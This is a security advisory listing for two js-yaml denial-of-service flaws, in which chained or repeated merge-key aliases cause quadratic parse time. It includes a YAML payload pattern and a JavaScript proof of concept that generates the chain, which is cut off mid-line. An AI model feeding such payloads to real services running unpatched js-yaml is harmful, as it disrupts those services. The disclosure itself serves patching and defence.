CVE-2026-53550 — js-yaml: Quadratic-complexity DoS in merge key handling via repeated aliases

Affected: nodeca js-yaml

js-yaml is a JavaScript YAML parser and dumper. Prior to 4.2.0 and 3.15.0, a crafted YAML document can trigger algorithmic CPU exhaustion in js-yaml merge-key processing (<<) by repeating the same alias many times in a merge sequence. This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service. The issue is in merge handling inside lib/loader.js. This vulnerability is fixed in 4.2.0 and 3.15.0.

GHSA-52cp-r559-cp3m — js-yaml: YAML merge-key chains can force quadratic CPU consumption

Affected: npm: js-yaml

### Impact

js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

```yaml a0: &a0 { k0: 0 } a1: &a1 { <<: *a0, k1: 1 } a2: &a2 { <<: *a1, k2: 2 } a3: &a3 { <<: *a2, k3: 3 } ... b: *aN ```

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

### PoC

From N = 4000 delay become > 1s (doc size < 100K)

```js import { performance } from 'node:perf_hooks' import { Buffer } from 'node:buffer' import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }']

for (let i = 1; i < count; i++) { lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`) }

lines.push(`b: *a${count - 1}`) return `${lines.join('\n')}\n` }

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(`N: ${n}`) console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now() const result = load(source, { schema: YAML11_SCHEMA }) const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`) console.log(`top-level keys: ${O…

Most recent entries from all

CVE-2026-53550 — js-yaml: Quadratic-complexity DoS in merge key handling via repeated aliases

GHSA-52cp-r559-cp3m — js-yaml: YAML merge-key chains can force quadratic CPU consumption